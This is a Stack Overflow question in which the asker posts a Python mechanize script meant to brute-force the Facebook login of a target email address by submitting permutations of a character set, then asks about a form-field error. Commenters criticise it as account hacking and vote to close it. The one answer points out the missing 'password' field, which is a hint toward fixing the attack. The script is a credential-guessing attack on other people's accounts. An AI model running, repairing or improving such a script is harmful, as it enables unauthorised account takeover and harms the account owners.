-13

I'm trying to brute force the Facebook login page with a python script, however whenever I run the code I get the errors below. My code is:

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Firefox')]
print "enter target email" 
email = raw_input('>>>')
print "continue at your own risk, im not responible for what you do..."
print "would you like to continue"
contnue = raw_input('y/n:')

if contnue == 'y':
    combos = itertools.permutations("i3^4hUP-",8)
    br.open("http://www.facebook.com/login/")
    for x in combos:
        br.select_form( nr = 0 )
        br.form['email'] = email 
        br.form['password'] = ''.join(x)
        print "Checking ",br.form['password']
        response=br.submit()
        if response.geturl()=="http://www.example.com/redirected_to_url":
            #url to which the page is redirected after login
            print "Correct password is ",''.join(x)
            break

The script uses the mechanize module to try and brute force the default facebook login page.

The stack trace for my error is:

File "passripper.py", line 83, in <module>
   br.form['password'] = ''.join(x)
  File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 2780, in __setitem__
    control = self.find_control(name)
  File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3101, in find_control
    return self._find_control(name, type, kind, id, label, predicate, nr)
  File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3185, in _find_control
    raise ControlNotFoundError("no control matching "+description)
mechanize._form.ControlNotFoundError: no control matching name 'password'

Can somebody please explain what the error messages mean?

TZHX
  • 5,291
  • 15
  • 47
  • 56
john grindal
  • 1
  • 1
  • 2
  • 6
    So you're trying to "hack" Facebook and search publically for code assistance? Smart move considered that Facebook engineers are also monitoring the questions here on SO... – Tobi Jun 30 '15 at 09:58
  • 4
    I'm voting to close this question as off-topic because it is asking for help to hack accounts. – CBroe Jun 30 '15 at 20:26
  • 4
    `mechanize._form.ControlNotFoundError: no control matching name 'password'` -- I think the error is pretty clear, really. If you were a professional you'd probably be able to understand that. – TZHX Jul 01 '15 at 07:52

1 Answers1

1

Your error message:

mechanize._form.ControlNotFoundError: no control matching name 'password'

Try reading it. Then look at the page you are trying to code against. There is no form field with the name "password" on that form.

TZHX
  • 5,291
  • 15
  • 47
  • 56
  • 2
    It's not _wrong_, it's simply _not useful_. You could have said the same as a comment; posting this as an answer potentially prevents this garbage question from being auto-deleted by the roomba. – l4mpi Jul 01 '15 at 08:09
  • 2
    Of course there are always people that aim to earn quick rep from crap questions. I can understand the desire to earn that rep yourself but again, it's _not useful_ for the site if such a question cannot be deleted because it has an upvoted answer. And many people might have a vastly different view to mine; they're free to upvote your answer if they don't care about this question sticking around. – l4mpi Jul 01 '15 at 08:16